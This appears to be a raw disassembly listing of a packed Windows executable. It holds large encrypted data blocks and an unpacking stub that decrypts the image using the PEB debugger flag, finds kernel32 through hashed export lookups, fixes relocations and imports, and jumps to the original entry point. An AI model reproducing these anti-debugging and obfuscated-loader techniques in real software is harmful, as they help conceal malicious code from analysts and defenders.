dd 0F5EA26D6h, 91E6DA3h, 0CE35062h, 213436D1h, 0F6558429h
dd 9FE2803Ch, 84EC9F75h, 8550FE54h, 9B5413A4h, 0DB875BA4h
dd 0E9ECFD01h, 3EBE73EEh, 0C000EFDBh, 3278395h, 98EBCDA3h
dd 8BD13B98h, 9111FF44h, 0F5E85655h, 42B7A714h, 3A0DDADh
dd 0C28524E5h, 0DF3025C3h, 3E98F6D8h, 0BB81CFC9h, 6C4E4DBAh
dd 27BA8D33h, 5C2541F6h, 9D27542Fh, 1E214D62h, 0EB139198h
dd 5622705h, 9441FDB0h, 975ABDF1h, 94A8CDFFh, 0BD57AA85h
dd 0F4149E7Dh, 0C1DCCB3Bh, 0A65A6C82h, 3E0E49CEh, 0B46EC845h
dd 35422C84h, 765CCC88h, 0BA6EE5E4h, 11AB5687h, 0B842BD3h
dd 6F49D9Fh, 0BF7CA37Bh, 1742CF81h, 0CF2FFBAEh, 90011D38h
dd 0A2591B2Eh, 405D0587h, 0B579EAC5h, 0FB9CCD59h, 5CC8353Dh
dd 0B5F8A894h, 355EE16Ah, 0E3C786D4h, 6CBF8A35h, 0C9AC5DF2h
dd 0AE8357D3h, 46891F21h, 0E9401C2Dh, 0B477796Bh, 8CE113EEh
dd 535486B5h, 78C88A0Bh, 0E846C7A3h, 46EF0452h, 0C3BFA835h
dd 0D3B227E1h, 335CA79Bh, 0B2BBDE12h, 6E5AEED3h, 38ECA604h
dd 8E32D685h, 0E6CCFA16h, 0D1A14A06h, 1518D765h, 2619D0EAh
dd 7E7A05A5h, 0FDC41890h, 0AF8C9100h, 16C24F5Fh, 0A93A1B00h
dd 0C991B774h, 90300B42h, 0A3EBA33Eh, 47E2BA58h, 0D3A0B02h
dd 0EFD8C19Fh, 0FB8F5452h, 5B4F00C9h, 0B3F8FDFBh, 0B609D819h
dd 0BBB85DACh, 0B3945CBEh, 34A530FEh, 6CEA6F98h, 9F9D5669h
dd 0AD132481h, 0BCA28A7Fh, 496DA578h, 0AC348F14h, 0A5135B04h
dd 0A5780644h, 92626304h, 0BB61AB25h, 1359EE9Dh, 0C32E4BE3h
dd 964810CAh, 5E9A069Ah, 55E78B17h, 780E297Ch, 73E4760Fh
dd 2BA7A370h, 0E29CA95Bh, 0AA017079h, 0CF4E35F4h, 0E3F90F65h
dd 0CE8FF994h, 0B1F8CF7h, 6C7710E4h, 24252BE0h, 7481F199h
dd 0E7429822h, 9C0172BEh, 8C56D70h, 6259496h, 55272DA5h
dd 86A4686Dh, 833E0E70h, 0EDB44EF5h, 0C530EF0Ch, 0AA112D84h
dd 97C992A1h, 52F95E29h, 0AE16907Fh, 6BFC227Dh, 0E34FA028h
dd 38D57EAh, 0A8F0BFC5h, 66961B2Eh, 0ABD688Ch, 355291E1h
dd 5A5CAB37h, 359D208h, 89FB4503h, 387E93FBh, 8A4B5736h
dd 372DFEEh, 0C00278B1h, 0E6D128C7h, 4D098A65h, 0D241D441h
dd 4B895593h, 5402D47Bh, 67135662h, 0D5707FD3h, 0AB10CA63h
dd 68EE4E4Fh, 7AB96ECCh, 57442E3Eh, 73E0CCF5h, 2A1D023Eh
dd 0F3830537h, 0EBADBC5Bh, 2BF839Fh, 2383BAC1h, 29A132CFh
dd 11D8FB4Bh, 9868A44Dh, 8C4CD286h, 9CE6D06h, 246F3115h
dd 44CFBD4Fh, 76050865h, 0FD496878h, 8100CB8h, 0DC073976h
dd 18A2A6D4h, 0E6AE7469h, 1F13E9A6h, 54A16FA6h, 5F4CAC5Dh
dd 8A5192E1h, 154118FEh
dd 0EA662AECh, 0BB4168A7h, 0CCC2650Ah, 87B268C5h, 5835E512h
dd 8C86EA3Dh, 40946BAh, 1798E9D6h, 0C891A750h, 0BC4C5DCh
dd 0F0253364h, 44D2B754h, 0FC794496h, 9A0D2C9Bh, 50955033h
dd 713253DDh, 0FB46C76Dh, 83A0A721h, 623FDCE4h, 0D526FF6Fh
dd 93C7FD4Dh, 655C5DB3h, 1CA82070h, 18BFA940h, 7FDA823Ah
dd 1050BF75h, 8C9BB167h, 9E767320h, 23B97813h, 0DC4FFE9Fh
dd 0C1887FC3h, 0B878D20Dh, 574D85A4h, 0C9677D17h, 8D698D6Dh
dd 4BE05A4Ch, 0FCC3ED7Eh, 3892F833h, 60201614h, 1571CD26h
dd 0A73D1581h, 7FDBD592h, 6EA0C652h, 442DE46h, 7B256B12h
dd 32D5B0C5h, 8C3D083Fh, 7D7FDBB8h, 5E6E825Ch, 0C03D0BEh
dd 4AA29511h, 5649E50Bh, 4922C0F7h, 5911C13Fh, 70DD7DC1h
dd 0AA41BE86h, 4BBC651h, 0E6221114h, 41DB5BCDh, 1718D594h
dd 2F84A8C6h, 4E279CA5h, 61979463h, 0CDCEB070h, 0AF748BE9h
dd 7F3CB264h, 0D857BB3Dh, 13196985h, 73C2715Fh, 71064696h
dd 7F621AB6h, 175F69ECh, 84045B4Ah, 6D2CB330h, 0D2DAE4A8h
dd 99A777AFh, 82DD4C5Ah, 9664F797h, 6DD1116Ch, 13C27230h
dd 0D4967B21h, 59BDE9CBh, 0C01173A5h, 9393B17Ah, 0CD8AE00Dh
dd 4D52D489h, 0D5AFD345h, 0F6881C50h, 0B9AD7228h, 0DCA129Bh
dd 0D1766AF8h, 0B582D05Bh, 5D008EB3h, 0ED56D9F9h, 19EEDA8Dh
dd 213A40CDh, 0E0A03D0Fh, 3A9DDBD0h, 2E26F532h, 0B65D3151h
dd 11BFCF0Fh, 0B5E43AC8h, 0E792C926h, 0F63A15AEh, 1E05C11Bh
dd 406791A8h, 5FAE3738h, 0AD8AC376h, 0DAB1F2FAh, 17D0642h
dd 4EF2BC12h, 0BD14FFA1h, 4D505F0Bh, 52EE34BBh, 2CE6B329h
dd 5AE43C5Bh, 0AB251943h, 89440D36h, 1F39D550h, 0D6976E9Dh
dd 6123AE71h, 0F7B0EAC1h, 49F2A596h, 0F1861EFEh, 5404FB1Eh
dd 0FE13DB2h, 77FF2156h, 0AB2DDAF4h, 65C0BCE6h, 0CBD661F0h
dd 0D21688CBh, 6421A61Bh, 0D28E1643h, 0D3C3B6D1h, 977D475Fh
dd 5293DB9Ch, 8700C04Eh, 0A6E57AF2h, 577265E1h, 0AD7BD7F5h
dd 0F16D3F4Ah, 6F7713DDh, 808E59BDh, 3F213D57h, 0BBA1D2F1h
dd 0CF99CD0h, 6624BE08h, 0A25B5B5Fh, 3DD99AFAh, 42CD2A10h
dd 77276ABEh, 0BA510D3Ah, 79A7A3A6h, 0FD00B433h, 69263EA5h
dd 0DFB5B58Eh, 524549DEh, 0B51C4B5Eh, 73E1D0E0h, 6BD091B7h
dd 7F5381FBh, 25E82F9Bh, 4B68673Fh, 427567E8h, 7BCCA634h
dd 47AFAC18h, 859E60B8h, 0AE0A16A3h, 0D86F5E6Bh, 45C8E2C0h
dd 0ACD7B699h, 0F87EFE8Fh, 7548F8DEh, 0FFBDB5A2h, 0E8D62044h
dd 3E3AA6D5h, 0C95D399h, 109375FEh, 24660E72h, 0A4D359BDh
dd 0A079BF98h, 0FCF24858h, 631DFCh, 0C7C10596h, 0BD78754Eh
dd 0F8BDAE04h, 5CFAA282h, 0AE320641h, 0AA165CC4h, 58173FC1h
dd 7F650134h, 0EB5F07D5h, 0A08427EDh, 0BD6ED868h, 0D95A92F3h
dd 0A4F679BEh, 81FC86DEh, 86D664E4h, 94314A5Eh, 16E1784Ch
dd 9E55C684h, 0E1913DF2h, 81BB91D8h, 78B16BDEh, 549CE17Bh
dd 235EB233h, 0A38C0AE2h, 0A16C8A60h, 0D0407680h, 0A7809F7Bh
dd 2685B629h, 7BC3981h, 0ABD4B2E2h, 1BC46792h, 0FB0ADBB9h
dd 39535D08h, 85EDDFC6h, 8C443E56h, 2775AA45h, 3AB1E874h
dd 772FD979h, 41ED4E02h, 9717C029h, 91171DC6h, 71B88EEDh
dd 2A52D5E0h, 216A056h, 0F7DCCB0Fh, 43591547h, 0AE2C5299h
dd 65189C53h, 569449Eh, 23F10BFFh, 961E116Bh, 15204255h
dd 0BDF74CD6h, 836747DFh, 9726664Ch, 977BE9F4h, 0F5A4A158h
dd 751CA39Fh, 0A331A62Dh, 419F503Dh, 44A68943h, 581FDFBDh
dd 6FE16B4Ch, 430832F0h, 16AD888Ch, 7D832805h, 0C1EFF4EDh
dd 0B3F9522Dh, 522E7DAEh, 0C34D001Eh, 0D62D6D79h, 862698E4h
dd 0D9ED10D3h, 6BF12C73h, 0EADDA003h, 459037E2h, 9D0FE343h
dd 648FC150h, 8F8B9BBBh, 0BD394A95h, 5610E996h, 39B1C246h
dd 0FD95518Bh, 0A9CB1EE1h, 9302AE48h, 72B07CD2h, 1E37E829h
dd 53225989h, 59EEED18h, 0E45C1ACh, 9E470D88h, 0A1E4BAC9h
dd 41E9C2F0h, 0FC4CAA28h, 0C5BC4256h, 0F65E58A3h, 0EBC60992h
dd 5F88B583h, 484121DAh, 0BBCC2E0Bh, 52545D43h, 9E5C4883h
dd 0D7C72A07h, 37234BFAh, 98C3FCFh, 3DC6E7A8h, 1B38456Dh
dd 36FD2BD7h, 7DFB1BEBh, 597CA71Fh, 0D0471F0Ah, 0AD495397h
dd 33C116B0h, 90EB853Dh, 0DA4DA479h, 7A40068Ch, 0A215AECEh
dd 0B657C076h, 0F4F20A21h, 9317A0E3h, 7FA33139h, 6E32FE0Fh
dd 4FFFFAFAh, 0D9A665D8h, 0BC1A8FD2h, 0BBB7E294h, 9739C9F1h
dd 0DEF71A0h, 794C3A04h, 0A4E0EFCh, 639392D0h, 0F3EE81EDh
dd 0FA3F7270h, 0DC2337F0h, 90F848Dh, 79FC7E17h, 6D9092E2h
dd 6D9EDE39h, 0A5B49510h, 461809D9h, 0BD3C0C6Ah, 5A08BEFFh
dd 0AD4C247Ah, 0C47BA134h, 8D6EE462h, 0BA58052Bh, 467FC565h
dd 0B5E99022h, 5218A6FCh, 0A27FD7E8h, 6DC64057h, 41B7A935h
dd 0F547582Eh, 2B5A8596h, 773101E5h, 0B467C73Eh, 889E8AEBh
dd 62E4012Fh, 0EE16A96Eh, 0E9953BE9h, 0F1B1985Bh, 0D52C0B8Bh
dd 0DB8577E7h, 0CE1DF5B0h, 2188E26Bh, 84637DBDh, 5D3D3AEh
dd 0BE1A39Ah, 0F4CC87A5h, 3E2E8202h, 0A6A6ABA3h, 0A8A7E301h
dd 0A606938Fh, 42C2C699h, 0EDF17B82h, 0FF9D6DECh, 63E29FAh
dd 80403521h, 0E9EABDAFh, 0A7ED0F6Ah, 0D580B6D6h, 3C3A41C5h
dd 0DD4DF4FBh, 2B381430h, 9535FC36h, 381171F4h, 0BA7DC428h
dd 214F55FEh, 4E96309Bh, 7F5D6D27h, 0FAF4C771h, 94180492h
dd 0E3C92484h, 0BF187256h, 0BCC1F80Ah, 323EC35Eh, 20922D4Eh
dd 0EC8AC960h, 72D8D8D1h, 0E0F3BA19h, 0E4313A5h, 6E42ED4Ah
dd 3E043ADh, 0EC5CD730h, 0B257173Ch, 7B55F71Fh, 3186E9BBh
dd 0ADA7E337h, 0EC4F79E0h, 2D267342h, 3F1A375Bh, 0D562CC69h
dd 520C90B3h, 1580087h, 521E0C38h, 0D0284604h, 231B99B6h
dd 15D1FF72h, 253A2BE7h, 5AC63D8Dh, 0EDB374A9h, 4FCF4D10h
dd 0D47117A1h, 62C1BD4Ah, 0FBC7B799h, 90660618h, 0C9B91A8Dh
dd 0F8841592h, 21EF3A1Dh, 15F2BB64h, 57F1C5F5h, 0EFBEC32h
dd 0F9214E76h, 44A511DFh, 3AE02FF6h, 0F9967408h, 99A07ED8h
dd 0DB10FE96h, 0C40AA5E5h, 0ED958665h, 82CCB843h, 5AD4A68Ch
dd 0F13FC926h, 63DAD44Dh, 5F511534h, 963E9CEh, 9554FA6Fh
dd 0D3479269h, 0B37CB109h, 0EC316FEEh, 0E0D50A54h, 0E49B3D2Ch
dd 5A670417h, 0EAC3C2ECh, 0F068249h, 88C9B755h, 66A1A318h
dd 29A3FB92h, 0CB00B257h, 83E7F8DBh, 519977D3h, 63B547A3h
dd 2C4DFCDFh, 1CEFC0F1h, 249944BFh, 2E8E818Dh, 8136571h
dd 0D2B4FF9Fh, 0A514004Fh, 0AB78799Bh, 0BBE38EDFh, 7A90ED4Eh
dd 121BED21h, 0FC35D678h, 0D9FE08D9h, 4DF7D9BEh, 6D8D9C2Ah
dd 0E447886Eh, 1A794DF9h, 1167E665h, 78400BA5h, 0B5132D3Dh
dd 3DEE83A3h, 0D90575A5h, 0DAEFB863h, 3D3486D0h, 0EAD668FFh
dd 0CC3DB8F3h, 0D39AF343h, 0D86F3B08h, 7461AAA8h, 0AC62E8EAh
dd 8C137047h, 8EA2D08Fh, 0BCFA00EEh, 530EB048h, 0D82AB93h
dd 2A2832F5h, 18BB762Bh, 0A5F68EEFh, 23082CEDh, 0C3F69FD2h
dd 0E48E5EE8h, 174D27B3h, 0DA99E966h, 22B19B96h, 0E334DB18h
dd 9265735Bh, 0AF90D59Bh, 6543226Ah, 4DE10DC4h, 0DF86678Dh
dd 6D8B8391h, 0F7A31F73h, 0B16B4DB2h, 38F1CC10h, 0D99D222Ch
dd 74C69746h, 7CB4002Ch, 2AE7C542h, 0B5BB3597h, 0C75A8150h
dd 11832AC6h, 6ABD40F3h, 5F64448Dh, 3AB03EAEh, 0D44D7892h
dd 0C8926CE2h, 92418ACAh
dd 21E7BE1Ah, 8727BAA0h, 0F2C800B8h, 31008AD0h, 0FEA218F5h
dd 8C5EE84Eh, 0D288951Eh, 0F81CDD1Dh, 0E315CA2Fh, 8B5D4BEh
dd 18C7AABAh, 0CFA365C1h, 0F8BF7381h, 15813676h, 0BA07711Ah
dd 0E4FAA723h, 7D67E3DDh, 32346D23h, 6BB57B0Ch, 39A25878h
dd 0C26E3E73h, 84605CC6h, 5443EECAh, 0ABB3871Bh, 493A408Fh
dd 333F2F08h, 4EAA2A61h, 2B7A7ABEh, 0BB6CFE9Ah, 0FBA51971h
dd 8E98288Dh, 0B88B071Ah, 8C8D4327h, 3030C49Ah, 0A8F69489h
dd 7D33EF37h, 1A5FE96Eh, 0FB3FAD40h, 0AF13415Fh, 0CAC19FA2h
dd 124EB6B1h, 0D316669Fh, 0E23A8465h, 637CD64Dh, 34EEE807h
dd 0C0F32C87h, 37106E09h, 18DF4BA0h, 0DBD478E1h, 0D07B4417h
dd 0BBAB23D4h, 3CC37989h, 7405C9A1h, 16DE998Ah, 8BD4686Eh
dd 0B1ADA1E1h
; ---------------------------------------------------------------------------
loc_469C00: ; CODE XREF: DMN1:0046BCDBj
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov eax, 4000h
mov ecx, 1000h
loc_469C10: ; CODE XREF: DMN1:00469C22j
xor eax, ebx
sub eax, 0B0B1560Dh
add ax, cx
ror eax, 7
add eax, 0DEADC0EDh
loop loc_469C10
cld
call $+5
pop eax
mov ebp, eax
sub ebp, 2Ah
sub eax, 68C2Ah
lea esi, [eax+41F21h]
mov [ebp+2CAh], esi
lea eax, [eax-1000h]
mov [ebp+2A6h], eax
mov edi, [esi+3Ch]
add edi, esi
mov [ebp+2B2h], esi
mov [ebp+2B6h], edi
pusha
call sub_469F18
popa
mov eax, [ebp+2A6h]
mov edx, [eax+3Ch]
add edx, eax
mov eax, [edx+28h]
add eax, [ebp+2A6h]
mov [ebp+2BEh], eax
mov eax, [edx+50h]
mov [ebp+2C2h], eax
mov edx, [ebp+304h]
mov [ebp+2BAh], edx
mov eax, [ebp+2A6h]
mov [ebp+2AAh], eax
sub eax, [ebp+300h]
mov [ebp+2AEh], eax
mov ecx, [ebp+30Ch]
mov esi, [ebp+2B2h]
mov edi, [ebp+2AAh]
push edi
loc_469CBF: ; CODE XREF: DMN1:00469CCDj
lodsb
push ecx
mov ecx, large fs:30h
sub al, [ecx+2]
pop ecx
stosb
loop loc_469CBF
pop edi
mov eax, [edi+3Ch]
add edi, eax
mov [ebp+2B6h], edi
mov eax, edi
movzx edx, word ptr [eax+6]
mov ebx, eax
add ebx, 0F8h
loc_469CE9: ; CODE XREF: DMN1:00469D1Ej
xor eax, eax
mov edi, [ebx+0Ch]
cmp edi, eax
jz short loc_469D1A
mov ecx, [ebx+10h]
jecxz short loc_469D1A
mov esi, [ebx+14h]
cmp esi, eax
jz short loc_469D1A
add esi, [ebp+2B2h]
add edi, [ebp+2AAh]
loc_469D0A: ; CODE XREF: DMN1:00469D18j
lodsb
push ecx
mov ecx, large fs:30h
add al, [ecx+2]
pop ecx
stosb
loop loc_469D0A
loc_469D1A: ; CODE XREF: DMN1:00469CF0j
; DMN1:00469CF5j ...
add ebx, 28h
dec edx
jnz short loc_469CE9
mov eax, [ebp+2AAh]
mov [ebp+2B2h], eax
mov ecx, [ebp+2FCh]
jecxz short loc_469D3C
add ecx, eax
mov dword ptr [ecx], 0
loc_469D3C: ; CODE XREF: DMN1:00469D32j
mov esi, [ebp+2B6h]
mov ecx, [esi+0A4h]
jecxz short loc_469D8D
mov ecx, [esi+0A0h]
jecxz short loc_469D8D
mov esi, [ebp+2AAh]
add esi, ecx
loc_469D5A: ; CODE XREF: DMN1:00469D6Bj
; DMN1:00469D8Bj
lodsd
or eax, eax
jz short loc_469D8D
add eax, [ebp+2AAh]
mov edx, eax
lodsd
sub eax, 8
jz short loc_469D5A
mov ecx, eax
shr ecx, 1
loc_469D71: ; CODE XREF: DMN1:loc_469D89j
lodsw
test ah, 30h
jz short loc_469D89
and eax, 0FFFh
add eax, edx
mov ebx, [eax]
add ebx, [ebp+2AEh]
mov [eax], ebx
loc_469D89: ; CODE XREF: DMN1:00469D76j
loop loc_469D71
jmp short loc_469D5A
; ---------------------------------------------------------------------------
loc_469D8D: ; CODE XREF: DMN1:00469D48j
; DMN1:00469D50j ...
mov edx, [ebp+308h]
add edx, [ebp+2AAh]
mov [ebp+2A2h], edx
mov esi, [ebp+2B6h]
mov esi, [esi+80h]
or esi, esi
jz loc_469E44
add esi, [ebp+2AAh]
loc_469DB9: ; CODE XREF: DMN1:00469E3Fj
mov eax, [esi+0Ch]
or eax, eax
jz loc_469E44
push esi
add eax, [ebp+2AAh]
cmp byte ptr [eax], 0
jz short loc_469E3A
push eax
call dword ptr [ebp+4ADh]
or eax, eax
jz loc_469E97
mov esi, [esp]
push eax
mov edi, [esi+10h]
or edi, edi
jz short loc_469E3A
mov eax, edi
add edi, [ebp+2AAh]
mov edx, [esi]
or edx, edx
jnz short loc_469DFA
mov edx, eax
loc_469DFA: ; CODE XREF: DMN1:00469DF6j
add edx, [ebp+2AAh]
loc_469E00: ; CODE XREF: DMN1:00469E38j
mov eax, [edx]
or eax, eax
jz short loc_469E3A
bt eax, 1Fh
jnb short loc_469E13
and eax, 0FFFFh
jmp short loc_469E1C
; ---------------------------------------------------------------------------
loc_469E13: ; CODE XREF: DMN1:00469E0Aj
add eax, [ebp+2AAh]
add eax, 2
loc_469E1C: ; CODE XREF: DMN1:00469E11j
push edx
push eax
push dword ptr [esp+8]
call dword ptr [ebp+4B6h]
or eax, eax
jz short loc_469E97
pop edx
mov [edi], eax
mov eax, 4
add edi, eax
add edx, eax
jmp short loc_469E00
; ---------------------------------------------------------------------------
loc_469E3A: ; CODE XREF: DMN1:00469DCEj
; DMN1:00469DE8j ...
pop eax
pop esi
add esi, 14h
jmp loc_469DB9
; ---------------------------------------------------------------------------
loc_469E44: ; CODE XREF: DMN1:00469DADj
; DMN1:00469DBEj
mov ecx, [ebp+2AAh]
mov eax, [ebp+2A2h]
mov [esp+1Ch], ecx
cld
pusha
mov edi, [ebp+2BEh]
or edi, edi
jz short loc_469E86
mov ecx, [ebp+2A2h]
jecxz short loc_469E7C
mov al, 0B8h
stosb
mov eax, ecx
stosd
mov eax, 0FFh
stosb
mov eax, 0E0h
stosb
jmp short loc_469E86
; ---------------------------------------------------------------------------
loc_469E7C: ; CODE XREF: DMN1:00469E66j
mov al, 0C2h
stosb
mov eax, 0Ch
stosw
loc_469E86: ; CODE XREF: DMN1:00469E5Ej
; DMN1:00469E7Aj
popa
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
cld
or eax, eax
jz short locret_469E94
jmp eax
; ---------------------------------------------------------------------------
locret_469E94: ; CODE XREF: DMN1:00469E90j
retn 0Ch
; ---------------------------------------------------------------------------
loc_469E97: ; CODE XREF: DMN1:00469DD9j
; DMN1:00469E2Aj
mov eax, 1
jmp dword ptr [ebp+4C8h]
; ---------------------------------------------------------------------------
dd offset sub_407B60
align 4
dd 2 dup(40h), 0
a@a@:
unicode 0, <@@>
dw 0A000h
dd 0D7890002h, 0F0000046h, 6, 2F210000h, 44h, 0Ch dup(0)
dd 400000h, 2A000h, 7B60h, 400h, 25C00h, 0
; =============== S U B R O U T I N E =======================================
sub_469F18 proc near ; CODE XREF: DMN1:00469C5Fp
var_4 = dword ptr -4
mov eax, large fs:30h
movzx ebx, byte ptr [eax+2]
add eax, ebx
mov eax, [eax+0Ch]
mov edx, [eax+0Ch]
push edx
lea eax, [ebp+471h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
loc_469F40: ; CODE XREF: sub_469F18+9Dj
mov edx, [esp+0Ch+var_4]
mov eax, [edx+18h]
mov ebx, eax
mov eax, [eax+3Ch]
add eax, ebx
mov ecx, [eax+78h]
jecxz short loc_469FAB
cmp dword ptr [eax+7Ch], 0
jz short loc_469FAB
add ecx, ebx
mov esi, [ecx+0Ch]
or esi, esi
jz short loc_469FAB
add esi, ebx
mov eax, [esi]
or eax, 20202020h
mov [ebp+498h], eax
mov eax, [esi+4]
or ax, 2020h
mov [ebp+49Ch], eax
mov eax, [esi+8]
or eax, 202020h
mov [ebp+4A0h], eax
mov byte ptr [ebp+4A4h], 0
lea esi, [ebp+498h]
mov edi, 0Dh
call sub_46A0E7
cmp eax, [ebp+494h]
jz short loc_469FB7
loc_469FAB: ; CODE XREF: sub_469F18+39j
; sub_469F18+3Fj ...
mov edx, [esp+0Ch+var_4]
mov edx, [edx]
mov [esp+0Ch+var_4], edx
jmp short loc_469F40
; ---------------------------------------------------------------------------
loc_469FB7: ; CODE XREF: sub_469F18+91j
mov [ebp+47Ch], ebx
mov esi, [ebx+3Ch]
add esi, ebx
mov esi, [esi+78h]
add esi, ebx
add esi, 1Ch
lodsd
add eax, ebx
mov [ebp+480h], eax
lodsd
add eax, ebx
mov [ebp+484h], eax
lodsd
add eax, ebx
mov [ebp+488h], eax
sub esi, 10h
lodsd
mov [ebp+48Ch], eax
xor edx, edx
mov [ebp+490h], edx
lea eax, [ebp+4A8h]
loc_469FFD: ; CODE XREF: sub_469F18+110j
; sub_469F18+146j
mov esi, [ebp+484h]
add esi, edx
mov esi, [esi]
add esi, [ebp+47Ch]
push eax
push edx
movzx edi, byte ptr [eax+4]
call sub_46A0E7
xchg eax, ebx
pop edx
pop eax
cmp ebx, [eax]
jz short loc_46A02A
add edx, 4
inc dword ptr [ebp+490h]
jmp short loc_469FFD
; ---------------------------------------------------------------------------
loc_46A02A: ; CODE XREF: sub_469F18+105j
shr edx, 1
add edx, [ebp+488h]
xor ebx, ebx
mov bx, [edx]
shl ebx, 2
add ebx, [ebp+480h]
mov ecx, [ebx]
add ecx, [ebp+47Ch]
mov [eax+5], ecx
add eax, 9
xor edx, edx
mov [ebp+490h], edx
lea ecx, [ebp+4E7h]
cmp eax, ecx
jb short loc_469FFD
mov esp, large fs:0
pop eax
mov large fs:0, eax
pop eax
pop eax
retn
sub_469F18 endp
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov esp, eax
jmp loc_469FAB
; ---------------------------------------------------------------------------
dd 7C800000h, 7C802644h, 7C803518h, 7C8043ECh, 3B5h, 0
aHfKernel32_dll db '>hf<kernel32.dll',0
align 4
dd 4134D1ADh, 801D770Dh, 0C97C1F7Ch, 0ADA00FFFh, 890E7C80h
dd 510D4402h, 817C809Ah, 0C40F571h, 7C81CDDAh, 335DDFDCh
dd 809E010Dh, 0FFFB147Ch, 0B9D10DF3h, 0D4BB7C80h, 0D00F79C3h
db 1Ah, 80h, 7Ch
; =============== S U B R O U T I N E =======================================
sub_46A0E7 proc near ; CODE XREF: sub_469F18+86p
; sub_469F18+FBp
push ebx
push ecx
push edx
push esi
push edi
cld
xor ecx, ecx
dec ecx
mov edx, ecx
push ebx
loc_46A0F3: ; CODE XREF: sub_46A0E7+35j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_46A102: ; CODE XREF: sub_46A0E7+2Ej
shr bx, 1
rcr ax, 1
jnb short loc_46A113
xor ax, 8320h
xor bx, 0EDB8h
loc_46A113: ; CODE XREF: sub_46A0E7+21j
dec dh
jnz short loc_46A102
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_46A0F3
pop ebx
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn
sub_46A0E7 endp
; ---------------------------------------------------------------------------
call fword ptr [ebp+60908179h]
and esp, ebp
push ss
sub [esp+ebp*2+6F55B94Fh], cl
cmpsd
mov esp, 0A6A98099h
mov dword ptr [edi+5Fh], 4C6190C9h
mov ebp, ebp
les ebp, [ebp-61A4DAD0h]
db 26h
sahf
retf 4B46h
; ---------------------------------------------------------------------------
db 36h
; ---------------------------------------------------------------------------
push ecx
xchg eax, edx
or [ebp-35h], edi
fucom st(4)
pop es
sub bl, [ecx+ecx*4]
or edx, [ebx-6740FBA4h]
retf
; ---------------------------------------------------------------------------
dw 1182h
dd 4C1A09AFh, 0D858A280h, 908A97F7h, 7E51F528h, 9E7D716h
dd 0C28A28C0h, 3D03BB2Bh, 4244AFE7h, 26B10AE0h, 147334D3h
dd 749A4292h, 0A49A16E0h, 2B4852EDh, 9E2B7279h, 9A04C2CBh
dd 0FE8DD67Fh, 317C69E4h, 82FB9308h, 0F9731DEFh, 0BAB39453h
dd 405FB9CDh, 35DBDBB6h, 7794BE2Ah, 0D99C1986h, 7B9FF24Ch
dd 0CF3F78EAh, 9AA0039Bh, 1033070Fh, 0E9CF1ECAh, 0CBC4C723h
dd 3140BEAFh, 82FBB003h, 0BF792707h, 11E069EFh, 0B512A88Ah
dd 2AC00D0Fh, 0B5589A64h, 379283A9h, 0CA7706AAh, 72553ADDh
dd 2273D37h, 0B6DB3275h, 6C8564B3h, 0AEB8BEA2h, 3E271D6Eh
dd 0DCFB10D9h, 0DA55B945h, 3306B5B0h, 0B55DFF4Dh, 7BFC5D05h
dd 2F06B4Eh, 0FBE06087h, 2283301Eh, 0B017F8A8h, 6674694Eh
dd 37678C4Ch, 17154124h, 0BE4E9476h, 18937ADAh, 0AE960EFFh
dd 0AB791BC2h, 91D69645h, 0FBBD13E5h, 3153AAB1h, 0A3BE90D2h
dd 0C0D18990h, 0C2C7E2FCh, 73AB6772h, 79AB33EBh, 7CE5B955h
dd 9669951h, 78BC5CEEh, 4C8DEDF0h, 0A287BA77h, 0A6203642h
dd 6E6AE93Fh, 7861D2F2h, 60D2C71h, 6E7FBFAAh, 88262A62h
dd 8D032792h, 32708AA1h, 2A0DB3CEh, 0CC25A88Eh, 413483DDh
dd 0F16F29h, 1673D301h, 187ADBC7h, 0B030729Eh, 0BDB0E33h
dd 0C55C32CDh, 0A2D19AD8h, 66136093h, 413F3D09h, 92A6E2E4h
dd 686E326Bh, 0BFC9BB94h, 5221746Eh, 79A6AF2Bh, 3C1C95Dh
dd 16A83227h, 7599F729h, 18C48C3h, 0E1FB5747h, 65320FEAh
dd 0DEC85004h, 8472C1DAh, 869690AAh, 6713FF0Fh, 1E6273C3h
dd 5641FC98h, 53A7C2CDh, 0EAE2F36Dh, 0CC28805Ah, 4D53002Bh
dd 0C6BA5117h, 0F835AAB5h, 65357C92h, 7FBFB282h, 0AC7D3D66h
dd 84B6B233h, 81320FF7h, 8CEFA6EFh, 0F120B22Bh, 0DB76FF82h
dd 4BBE08A3h, 39E232FDh, 5BD1CDE0h, 0CE267FE6h, 923DEB56h
dd 0F3A9528Ah, 0DC263161h, 0EBB33371h, 7D0C5BC3h, 5C07AF78h
dd 319FFD64h, 6F7B9991h, 7D3BB1EDh, 0B8066DD3h, 5FA05C80h
dd 0AB75DE40h, 1F30A28Fh, 8E615ADBh, 7175EA50h, 694F6D6Dh
dd 41622207h, 0BD0FBF92h, 0D147C776h, 97D2C59h, 0C518B2FCh
dd 0A0E1B851h, 0C96C9047h, 466465Bh, 0E8B0C1CCh, 238F66CDh
dd 0F33503B1h, 1C36A3B1h, 84F38598h, 87CB8304h, 0E377CCFDh
dd 0E0DCFA9Eh, 46410CE5h, 0B650BA82h, 8FEB6994h, 6681554Bh
dd 0D669264Fh, 0A2CEC80Fh, 0EC156E44h, 95C23D00h, 0E4848D67h
dd 77E9F97h, 65407B9Dh, 6D43B7A0h, 0C3ABC06Eh, 542002E0h
dd 32B513D9h, 82BEA8A3h, 2FCCCB3h, 0EFC41DB5h, 0AABD8C8h
dd 0DE620661h, 0F5A27079h, 0C82271ABh, 5305CA64h, 0A8B8DB10h
dd 0B229Bh, 0CEBFB159h, 8B083331h, 4A6755D7h, 2E7DA822h
dd 6C551F2Dh, 865290E0h, 0F2202B00h, 6E891F33h, 97F6F20Bh
dd 28EA7246h, 1359121Ah, 8D417CAAh, 677B5FB3h, 4F539836h
dd 0D1798A74h, 0B0943126h, 95A33207h, 93650DA2h, 0AD8A6C90h
dd 0DC8079C6h, 3607F41Bh, 64F76933h, 0B344427Ch, 8D84B612h
dd 0B4087031h, 8AF43553h, 0CFA272C2h, 0BB908CBEh, 0BE5C5C29h
dd 94923A7Bh, 371757C0h, 0E476C299h, 0C660676Dh, 6D89AC20h
